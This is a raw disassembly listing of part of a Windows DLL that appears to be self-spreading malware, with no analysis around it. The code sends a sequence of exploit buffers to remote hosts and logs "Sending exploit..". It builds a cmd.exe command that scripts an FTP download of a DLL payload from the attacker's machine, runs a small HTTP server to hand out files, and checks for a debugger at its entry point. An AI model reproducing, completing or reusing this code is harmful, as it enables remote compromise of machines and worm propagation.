mov [ebp+var_1020], eax
cmp [ebp+var_1020], 0FFFFFFFFh
jnz short loc_10003519
jmp loc_10003495
; ---------------------------------------------------------------------------
loc_10003519: ; CODE XREF: sub_1000329E+274j
; sub_1000329E+2FAj
mov [ebp+var_2668], 0
jmp short loc_10003534
; ---------------------------------------------------------------------------
loc_10003525: ; CODE XREF: sub_1000329E:loc_10003559j
mov eax, [ebp+var_2668]
add eax, 1
mov [ebp+var_2668], eax
loc_10003534: ; CODE XREF: sub_1000329E+285j
mov ecx, [ebp+var_2668]
cmp ecx, [ebp+var_255C]
jnb short loc_1000355B
mov edx, [ebp+var_2668]
mov eax, [ebp+edx*4+var_2558]
cmp eax, [ebp+var_1020]
jnz short loc_10003559
jmp short loc_1000355B
; ---------------------------------------------------------------------------
loc_10003559: ; CODE XREF: sub_1000329E+2B7j
jmp short loc_10003525
; ---------------------------------------------------------------------------
loc_1000355B: ; CODE XREF: sub_1000329E+2A2j
; sub_1000329E+2B9j
mov ecx, [ebp+var_2668]
cmp ecx, [ebp+var_255C]
jnz short loc_10003594
cmp [ebp+var_255C], 40h
jnb short loc_10003594
mov edx, [ebp+var_2668]
mov eax, [ebp+var_1020]
mov [ebp+edx*4+var_2558], eax
mov ecx, [ebp+var_255C]
add ecx, 1
mov [ebp+var_255C], ecx
loc_10003594: ; CODE XREF: sub_1000329E+2C9j
; sub_1000329E+2D2j
xor edx, edx
test edx, edx
jnz loc_10003519
mov eax, [ebp+var_1020]
cmp eax, [ebp+var_101C]
jbe short loc_100035B8
mov ecx, [ebp+var_1020]
mov [ebp+var_101C], ecx
loc_100035B8: ; CODE XREF: sub_1000329E+30Cj
jmp loc_100039D0
; ---------------------------------------------------------------------------
loc_100035BD: ; CODE XREF: sub_1000329E+23Fj
push 1000h ; Size
push 0 ; Val
lea edx, [ebp+Dst]
push edx ; Dst
call memset ; memset
add esp, 0Ch
push 1000h ; Size
push 0 ; Val
lea eax, [ebp+Str1]
push eax ; Dst
call memset ; memset
add esp, 0Ch
push 0 ; flags
push 1000h ; len
lea ecx, [ebp+Dst]
push ecx ; buf
mov edx, [ebp+fd]
push edx ; s
call ds:recv ; recv
test eax, eax
jg loc_100036B8
mov eax, [ebp+fd]
push eax ; s
call ds:closesocket ; closesocket
loc_10003619: ; CODE XREF: sub_1000329E+40Fj
mov [ebp+var_2E80], 0
jmp short loc_10003634
; ---------------------------------------------------------------------------
loc_10003625: ; CODE XREF: sub_1000329E:loc_100036A4j
mov ecx, [ebp+var_2E80]
add ecx, 1
mov [ebp+var_2E80], ecx
loc_10003634: ; CODE XREF: sub_1000329E+385j
mov edx, [ebp+var_2E80]
cmp edx, [ebp+var_255C]
jnb short loc_100036A9
mov eax, [ebp+var_2E80]
mov ecx, [ebp+eax*4+var_2558]
cmp ecx, [ebp+fd]
jnz short loc_100036A4
loc_10003657: ; CODE XREF: sub_1000329E+3F3j
mov edx, [ebp+var_255C]
sub edx, 1
cmp [ebp+var_2E80], edx
jnb short loc_10003693
mov eax, [ebp+var_2E80]
mov ecx, [ebp+var_2E80]
mov edx, [ebp+ecx*4+var_2554]
mov [ebp+eax*4+var_2558], edx
mov eax, [ebp+var_2E80]
add eax, 1
mov [ebp+var_2E80], eax
jmp short loc_10003657
; ---------------------------------------------------------------------------
loc_10003693: ; CODE XREF: sub_1000329E+3C8j
mov ecx, [ebp+var_255C]
sub ecx, 1
mov [ebp+var_255C], ecx
jmp short loc_100036A9
; ---------------------------------------------------------------------------
loc_100036A4: ; CODE XREF: sub_1000329E+3B7j
jmp loc_10003625
; ---------------------------------------------------------------------------
loc_100036A9: ; CODE XREF: sub_1000329E+3A2j
; sub_1000329E+404j
xor edx, edx
test edx, edx
jnz loc_10003619
jmp loc_1000393D
; ---------------------------------------------------------------------------
loc_100036B8: ; CODE XREF: sub_1000329E+368j
push 100h ; Size
push 0 ; Val
lea eax, [ebp+Str]
push eax ; Dst
call memset ; memset
add esp, 0Ch
mov [ebp+var_4], 0
mov [ebp+var_8], 0
jmp short loc_100036F0
; ---------------------------------------------------------------------------
loc_100036DE: ; CODE XREF: sub_1000329E:loc_10003938j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_100036F0: ; CODE XREF: sub_1000329E+43Ej
lea eax, [ebp+Dst]
push eax ; Str
call strlen ; strlen
add esp, 4
cmp [ebp+var_4], eax
jnb loc_1000393D
mov ecx, [ebp+var_8]
mov edx, [ebp+var_4]
mov al, [ebp+edx+Dst]
mov [ebp+ecx+Str1], al
mov ecx, [ebp+var_4]
movsx edx, [ebp+ecx+Dst]
cmp edx, 0Ah
jnz loc_10003938
push offset SubStr ; "GET "
lea eax, [ebp+Str1]
push eax ; Str
call ds:strstr ; strstr
add esp, 8
test eax, eax
jz short loc_100037B7
lea ecx, [ebp+Str1]
push ecx ; Str
call strlen ; strlen
add esp, 4
cmp eax, 5
jbe short loc_100037B7
push offset asc_10010AC4 ; " "
push offset asc_10010AC8 ; " "
push offset aGet_0 ; "GET "
lea edx, [ebp+Str1]
push edx ; Str
call ds:strstr ; strstr
add esp, 8
push eax ; Str
call ds:strstr ; strstr
add esp, 8
push eax ; Str
call ds:strtok ; strtok
add esp, 8
mov [ebp+Source], eax
push 0FFh ; Count
mov eax, [ebp+Source]
push eax ; Source
lea ecx, [ebp+Str]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
jmp loc_1000391B
; ---------------------------------------------------------------------------
loc_100037B7: ; CODE XREF: sub_1000329E+4A9j
; sub_1000329E+4BDj
push offset asc_10010AD4 ; "\r\n"
lea edx, [ebp+Str1]
push edx ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz loc_1000391B
loc_100037D3: ; CODE XREF: sub_1000329E+5C9j
mov [ebp+var_2E84], 0
jmp short loc_100037EE
; ---------------------------------------------------------------------------
loc_100037DF: ; CODE XREF: sub_1000329E:loc_1000385Ej
mov eax, [ebp+var_2E84]
add eax, 1
mov [ebp+var_2E84], eax
loc_100037EE: ; CODE XREF: sub_1000329E+53Fj
mov ecx, [ebp+var_2E84]
cmp ecx, [ebp+var_255C]
jnb short loc_10003863
mov edx, [ebp+var_2E84]
mov eax, [ebp+edx*4+var_2558]
cmp eax, [ebp+fd]
jnz short loc_1000385E
loc_10003811: ; CODE XREF: sub_1000329E+5ADj
mov ecx, [ebp+var_255C]
sub ecx, 1
cmp [ebp+var_2E84], ecx
jnb short loc_1000384D
mov edx, [ebp+var_2E84]
mov eax, [ebp+var_2E84]
mov ecx, [ebp+eax*4+var_2554]
mov [ebp+edx*4+var_2558], ecx
mov edx, [ebp+var_2E84]
add edx, 1
mov [ebp+var_2E84], edx
jmp short loc_10003811
; ---------------------------------------------------------------------------
loc_1000384D: ; CODE XREF: sub_1000329E+582j
mov eax, [ebp+var_255C]
sub eax, 1
mov [ebp+var_255C], eax
jmp short loc_10003863
; ---------------------------------------------------------------------------
loc_1000385E: ; CODE XREF: sub_1000329E+571j
jmp loc_100037DF
; ---------------------------------------------------------------------------
loc_10003863: ; CODE XREF: sub_1000329E+55Cj
; sub_1000329E+5BEj
xor ecx, ecx
test ecx, ecx
jnz loc_100037D3
lea edx, [ebp+Str]
test edx, edx
jz loc_1000390C
lea eax, [ebp+Str]
push eax ; Str
call strlen ; strlen
add esp, 4
mov esi, eax
lea ecx, [ebp+var_214A]
push ecx ; Str
call strlen ; strlen
add esp, 4
add esi, eax
cmp esi, 100h
jnb short loc_100038FD
mov [ebp+var_2E88], 0
lea edx, [ebp+var_2E88]
push edx ; argp
push 8004667Eh ; cmd
mov eax, [ebp+fd]
push eax ; s
call ds:ioctlsocket ; ioctlsocket
mov ecx, [ebp+fd]
mov [ebp+var_2048], ecx
lea edx, [ebp+Str]
push edx ; Source
sub esp, 310h
mov ecx, 0C4h
lea esi, [ebp+var_2354]
mov edi, esp
rep movsd
call sub_10002157
add esp, 314h
jmp short loc_1000390A
; ---------------------------------------------------------------------------
loc_100038FD: ; CODE XREF: sub_1000329E+605j
mov eax, [ebp+fd]
push eax ; s
call ds:closesocket ; closesocket
loc_1000390A: ; CODE XREF: sub_1000329E+65Dj
jmp short loc_10003919
; ---------------------------------------------------------------------------
loc_1000390C: ; CODE XREF: sub_1000329E+5D7j
mov ecx, [ebp+fd]
push ecx ; s
call ds:closesocket ; closesocket
loc_10003919: ; CODE XREF: sub_1000329E:loc_1000390Aj
jmp short loc_1000393D
; ---------------------------------------------------------------------------
loc_1000391B: ; CODE XREF: sub_1000329E+514j
; sub_1000329E+52Fj
push 1000h ; Size
push 0 ; Val
lea edx, [ebp+Str1]
push edx ; Dst
call memset ; memset
add esp, 0Ch
mov [ebp+var_8], 0FFFFFFFFh
loc_10003938: ; CODE XREF: sub_1000329E+48Cj
jmp loc_100036DE
; ---------------------------------------------------------------------------
loc_1000393D: ; CODE XREF: sub_1000329E+415j
; sub_1000329E+464j ...
push offset byte_1002C868 ; Format
push offset aSSendingExpl_4 ; "%s Sending exploit.."
call sub_10007303
add esp, 8
mov [ebp+var_2E6C], 0
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_2E6B]
rep stosd
stosw
stosb
call sub_10006FA2
push eax
push offset aS_dll_5 ; "%s.dll"
push 10h ; Count
lea eax, [ebp+Dest]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea ecx, [ebp+Dest]
push ecx
lea edx, [ebp+Dest]
push edx
xor eax, eax
mov ax, hostshort
push eax
push offset Dest
push offset aCmd_exeCEcho_5 ; "cmd.exe /C echo open %s %hu>x&echo user"...
push 400h ; Count
lea ecx, [ebp+var_2DDD]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
mov [ebp+var_266C], eax
mov edx, dword_10012A5C
add edx, 1
mov dword_10012A5C, edx
loc_100039D0: ; CODE XREF: sub_1000329E+22Dj
; sub_1000329E:loc_100035B8j
jmp loc_10003495
; ---------------------------------------------------------------------------
loc_100039D5: ; CODE XREF: sub_1000329E+212j
jmp loc_10003442
; ---------------------------------------------------------------------------
loc_100039DA: ; CODE XREF: sub_1000329E+9Dj
; sub_1000329E+BCj ...
mov eax, [ebp+s]
push eax ; s
call ds:closesocket ; closesocket
push 1
mov ecx, [ebp+var_2354]
push ecx
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
sub_1000329E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; DWORD __stdcall StartAddress(LPVOID)
StartAddress proc near ; DATA XREF: sub_10002157+317o
var_1DC4 = dword ptr -1DC4h
var_1DC0 = dword ptr -1DC0h
Source = byte ptr -1DBAh
var_1CBA = byte ptr -1CBAh
s = dword ptr -1ABAh
var_1AB4 = byte ptr -1AB4h
var_1AA4 = byte ptr -1AA4h
var_19A4 = byte ptr -19A4h
var_1970 = dword ptr -1970h
buf = byte ptr -196Ch
var_96C = byte ptr -96Ch
var_96B = byte ptr -96Bh
var_8DD = byte ptr -8DDh
DateStr = byte ptr -16Ch
TimeStr = byte ptr -124h
var_104 = dword ptr -104h
FileName = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1DC4h
call __alloca_probe
push esi
push edi
mov esi, [ebp+arg_0]
mov ecx, 0C4h
lea edi, [ebp+var_1DC4]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_1970], eax
mov ecx, [ebp+var_1970]
mov byte ptr [ecx+30Bh], 1
push 0FFh ; Count
lea edx, [ebp+Source]
push edx ; Source
lea eax, [ebp+FileName]
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 0FFh ; Count
lea ecx, [ebp+var_1CBA]
push ecx ; Source
lea edx, [ebp+var_1AA4]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
mov eax, [ebp+s]
and eax, 0FFh
test eax, eax
jz short loc_10003A9D
push 31h ; Count
push offset aTextHtml ; "text/html"
lea ecx, [ebp+var_19A4]
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
jmp short loc_10003AB4
; ---------------------------------------------------------------------------
loc_10003A9D: ; CODE XREF: StartAddress+7Aj
push 31h ; Count
push offset aApplicationOct ; "application/octet-stream"
lea edx, [ebp+var_19A4]
push edx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_10003AB4: ; CODE XREF: StartAddress+93j
push 46h ; cchDate
lea eax, [ebp+DateStr]
push eax ; lpDateStr
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push 0 ; lpDate
push 0 ; dwFlags
push 409h ; Locale
call ds:GetDateFormatA ; GetDateFormatA
push 1Eh ; cchTime
lea ecx, [ebp+TimeStr]
push ecx ; lpTimeStr
push offset aHhMmSs ; "HH:mm:ss"
push 0 ; lpTime
push 0 ; dwFlags
push 409h ; Locale
call ds:GetTimeFormatA ; GetTimeFormatA
cmp [ebp+var_1DC0], 0FFFFFFFFh
jnz short loc_10003B44
lea edx, [ebp+TimeStr]
push edx
lea eax, [ebp+DateStr]
push eax
lea ecx, [ebp+TimeStr]
push ecx
lea edx, [ebp+DateStr]
push edx
lea eax, [ebp+TimeStr]
push eax
lea ecx, [ebp+DateStr]
push ecx
lea edx, [ebp+var_19A4]
push edx
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: HTTPd\r\nCache-C"...
push 0FFFh ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 28h
jmp short loc_10003B96
; ---------------------------------------------------------------------------
loc_10003B44: ; CODE XREF: StartAddress+EDj
lea ecx, [ebp+TimeStr]
push ecx
lea edx, [ebp+DateStr]
push edx
lea eax, [ebp+TimeStr]
push eax
lea ecx, [ebp+DateStr]
push ecx
lea edx, [ebp+TimeStr]
push edx
lea eax, [ebp+DateStr]
push eax
mov ecx, [ebp+var_1DC0]
push ecx
lea edx, [ebp+var_19A4]
push edx
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: HTTPd\r\nCache-C"...
push 0FFFh ; Count
lea eax, [ebp+buf]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 2Ch
loc_10003B96: ; CODE XREF: StartAddress+13Aj
push 0 ; flags
lea ecx, [ebp+buf]
push ecx ; Str
call strlen ; strlen
add esp, 4
push eax ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s+2]
push eax ; s
call ds:send ; send
push offset byte_1002C868 ; Format
push offset aSSendingExpl_5 ; "%s Sending exploit.."
call sub_10007303
add esp, 8
mov [ebp+var_96C], 0
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_96B]
rep stosd
stosw
stosb
call sub_10006FA2
push eax
push offset aS_dll_6 ; "%s.dll"
push 10h ; Count
lea ecx, [ebp+var_1AB4]
push ecx ; Dest
call ds:_snprintf ; _snprintf
add esp, 10h
lea edx, [ebp+var_1AB4]
push edx
lea eax, [ebp+var_1AB4]
push eax
xor ecx, ecx
mov cx, hostshort
push ecx
push offset Dest
push offset aCmd_exeCEcho_6 ; "cmd.exe /C echo open %s %hu>x&echo user"...
push 400h ; Count
lea edx, [ebp+var_8DD]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
mov [ebp+var_104], eax
mov eax, dword_10012A5C
add eax, 1
mov dword_10012A5C, eax
mov ecx, [ebp+s]
and ecx, 0FFh
test ecx, ecx
jnz short loc_10003C87
lea edx, [ebp+FileName]
push edx ; lpFileName
sub esp, 310h
mov ecx, 0C4h
lea esi, [ebp+var_1DC4]
mov edi, esp
rep movsd
call sub_100030D9
add esp, 314h
jmp short loc_10003CA4
; ---------------------------------------------------------------------------
loc_10003C87: ; CODE XREF: StartAddress+254j
lea eax, [ebp+var_1AA4]
push eax ; Source
lea ecx, [ebp+FileName]
push ecx ; lpFileName
mov edx, [ebp+s+2]
push edx ; s
call sub_100024A5
add esp, 0Ch
loc_10003CA4: ; CODE XREF: StartAddress+27Dj
mov eax, [ebp+s+2]
push eax ; s
call ds:closesocket ; closesocket
push 1
mov ecx, [ebp+var_1DC4]
push ecx
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
StartAddress endp
; ---------------------------------------------------------------------------
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10003CD2 proc near ; DATA XREF: .data:1000E00Co
push ebp
mov ebp, esp
call sub_10003CE1
call sub_10003CF1
pop ebp
retn
sub_10003CD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10003CE1 proc near ; CODE XREF: sub_10003CD2+3p
push ebp
mov ebp, esp
mov ecx, offset byte_10012A55
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_10003CE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10003CF1 proc near ; CODE XREF: sub_10003CD2+8p
push ebp
mov ebp, esp
push offset sub_10003D03 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10003CF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10003D03()
sub_10003D03 proc near ; DATA XREF: sub_10003CF1+3o
push ebp
mov ebp, esp
mov ecx, offset byte_10012A55
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_10003D03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10003D13 proc near ; DATA XREF: .data:1000E010o
push ebp
mov ebp, esp
call sub_10003D22
call sub_10003D32
pop ebp
retn
sub_10003D13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10003D22 proc near ; CODE XREF: sub_10003D13+3p
push ebp
mov ebp, esp
mov ecx, offset byte_10012A54
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_10003D22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10003D32 proc near ; CODE XREF: sub_10003D13+8p
push ebp
mov ebp, esp
push offset sub_10003D44 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10003D32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10003D44()
sub_10003D44 proc near ; DATA XREF: sub_10003D32+3o
push ebp
mov ebp, esp
mov ecx, offset byte_10012A54
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_10003D44 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10003D60 proc near ; DATA XREF: sub_1000A1A9+2BDo
to = sockaddr ptr -4E44h
buf = byte ptr -4E34h
hostshort = word ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
s = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4E44h
call __alloca_probe
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov dword ptr [ebp+hostshort], ecx
mov edx, [eax+4]
mov [ebp+var_10], edx
mov eax, [eax+8]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
mov byte ptr [edx+8], 1
push 0 ; protocol
push 1 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
cmp [ebp+s], 0FFFFFFFFh
jnz short loc_10003DB5
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
xor eax, eax
jmp loc_1000414D
; ---------------------------------------------------------------------------
loc_10003DB5: ; CODE XREF: sub_10003D60+41j
mov [ebp+to.sa_family], 2
mov eax, [ebp+var_10]
mov dword ptr [ebp+to.sa_data+2], eax
mov cx, [ebp+hostshort]
push ecx ; hostshort
call ds:htons ; htons
mov word ptr [ebp+to.sa_data], ax
push 8 ; Size
push 0 ; Val
lea edx, [ebp+to.sa_data+6]
push edx ; Dst
call memset ; memset
add esp, 0Ch
push 10h ; namelen
lea eax, [ebp+to]
push eax ; name
mov ecx, [ebp+s]
push ecx ; s
call ds:connect ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_10003E16
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
xor eax, eax
jmp loc_1000414D
; ---------------------------------------------------------------------------
loc_10003E16: ; CODE XREF: sub_10003D60+A2j
push 10h ; tolen
lea edx, [ebp+to]
push edx ; to
push 0 ; flags
push 48h ; len
push offset aB ; ""
mov eax, [ebp+s]
push eax ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:recv ; recv
push 10h ; tolen
lea eax, [ebp+to]
push eax ; to
push 0 ; flags
push 58h ; len
push offset byte_10010E7C ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:recv ; recv
push 10h ; tolen
lea ecx, [ebp+to]
push ecx ; to
push 0 ; flags
push 0B9h ; len
push offset byte_10010ED4 ; buf
mov edx, [ebp+s]
push edx ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:recv ; recv
push 10h ; tolen
lea edx, [ebp+to]
push edx ; to
push 0 ; flags
push 108h ; len
push offset byte_10010F90 ; buf
mov eax, [ebp+s]
push eax ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:recv ; recv
push 10h ; tolen
lea eax, [ebp+to]
push eax ; to
push 0 ; flags
push 3Eh ; len
push offset byte_10011098 ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:recv ; recv
push 10h ; tolen
lea ecx, [ebp+to]
push ecx ; to
push 0 ; flags
push 60h ; len
push offset byte_100110D8 ; buf
mov edx, [ebp+s]
push edx ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:recv ; recv
push 10h ; tolen
lea edx, [ebp+to]
push edx ; to
push 0 ; flags
push 96h ; len
push offset byte_10011138 ; buf
mov eax, [ebp+s]
push eax ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:recv ; recv
push 10h ; tolen
lea eax, [ebp+to]
push eax ; to
push 0 ; flags
push 15Bh ; len
push offset byte_100111D0 ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:recv ; recv
push 10h ; tolen
lea ecx, [ebp+to]
push ecx ; to
push 0 ; flags
push 15Bh ; len
push offset byte_1001132C ; buf
mov edx, [ebp+s]
push edx ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:recv ; recv
push 10h ; tolen
lea edx, [ebp+to]
push edx ; to
push 0 ; flags
push 15Bh ; len
push offset byte_10011488 ; buf
mov eax, [ebp+s]
push eax ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:recv ; recv
push 10h ; tolen
lea eax, [ebp+to]
push eax ; to
push 0 ; flags
push 6Ah ; len
push offset byte_100115E4 ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:recv ; recv
push 10h ; tolen
lea ecx, [ebp+to]
push ecx ; to
push 0 ; flags
push 15Bh ; len
push offset byte_10011650 ; buf
mov edx, [ebp+s]
push edx ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea eax, [ebp+buf]
push eax ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:recv ; recv
push 10h ; tolen
lea edx, [ebp+to]
push edx ; to
push 0 ; flags
push 15Bh ; len
push offset byte_100117AC ; buf
mov eax, [ebp+s]
push eax ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:recv ; recv
push 10h ; tolen
lea eax, [ebp+to]
push eax ; to
push 0 ; flags
push 15Bh ; len
push offset byte_10011908 ; buf
mov ecx, [ebp+s]
push ecx ; s
call ds:sendto ; sendto
push 0 ; flags
push 4E20h ; len
lea edx, [ebp+buf]
push edx ; buf
mov eax, [ebp+s]
push eax ; s
call ds:recv ; recv
push 10h ; tolen
lea ecx, [ebp+to]
push ecx ; to
push 0 ; flags
push 6Ah ; len
push offset byte_10011A64 ; buf
mov edx, [ebp+s]
push edx ; s
call ds:sendto ; sendto
push 0D431h ; hostshort
mov eax, [ebp+var_10]
push eax ; int
call sub_10009CEB
add esp, 8
mov ecx, [ebp+s]
push ecx ; s
call ds:closesocket ; closesocket
push 0
call ds:_endthreadex ; _endthreadex
add esp, 4
xor eax, eax
loc_1000414D: ; CODE XREF: sub_10003D60+50j
; sub_10003D60+B1j
mov esp, ebp
pop ebp
retn 4
sub_10003D60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004153 proc near ; DATA XREF: .data:1000E014o
push ebp
mov ebp, esp
call sub_10004162
call sub_10004172
pop ebp
retn
sub_10004153 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004162 proc near ; CODE XREF: sub_10004153+3p
push ebp
mov ebp, esp
mov ecx, offset byte_10012A65
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_10004162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004172 proc near ; CODE XREF: sub_10004153+8p
push ebp
mov ebp, esp
push offset sub_10004184 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_10004172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_10004184()
sub_10004184 proc near ; DATA XREF: sub_10004172+3o
push ebp
mov ebp, esp
mov ecx, offset byte_10012A65
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_10004184 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10004194 proc near ; DATA XREF: .data:1000E018o
push ebp
mov ebp, esp
call sub_100041A3
call sub_100041B3
pop ebp
retn
sub_10004194 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100041A3 proc near ; CODE XREF: sub_10004194+3p
push ebp
mov ebp, esp
mov ecx, offset byte_10012A64
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_100041A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100041B3 proc near ; CODE XREF: sub_10004194+8p
push ebp
mov ebp, esp
push offset sub_100041C5 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_100041B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_100041C5()
sub_100041C5 proc near ; DATA XREF: sub_100041B3+3o
push ebp
mov ebp, esp
mov ecx, offset byte_10012A64
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_100041C5 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; BOOL __stdcall DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
_DllMain@12 proc near ; CODE XREF: DllEntryPoint+4Bp
hModule = dword ptr 8
fdwReason = dword ptr 0Ch
lpvReserved = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+fdwReason], 1
jz short loc_100041F0
mov eax, 1
jmp short loc_10004209
; ---------------------------------------------------------------------------
loc_100041F0: ; CODE XREF: DllMain(x,x,x)+7j
push 100h ; nSize
push offset ExistingFileName ; lpFilename
mov eax, [ebp+hModule]
push eax ; hModule
call ds:GetModuleFileNameA ; GetModuleFileNameA
mov eax, 1
loc_10004209: ; CODE XREF: DllMain(x,x,x)+Ej
pop ebp
retn 0Ch
_DllMain@12 endp
; Exported entry 1. start
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
Str = byte ptr -1810h
File = dword ptr -17ACh
WSAData = WSAData ptr -17A8h
buf = byte ptr -1618h
var_618 = dword ptr -618h
Count = dword ptr -614h
Source = byte ptr -610h
var_410 = dword ptr -410h
Dst = byte ptr -40Ch
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
Dest = byte ptr -204h
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 1810h
call __alloca_probe
push ebx
push esi
push edi
push eax
mov eax, large fs:18h
mov eax, [eax+30h]
movzx eax, byte ptr [eax+2]
test eax, eax
jnz short loc_10004231
jmp short $+2
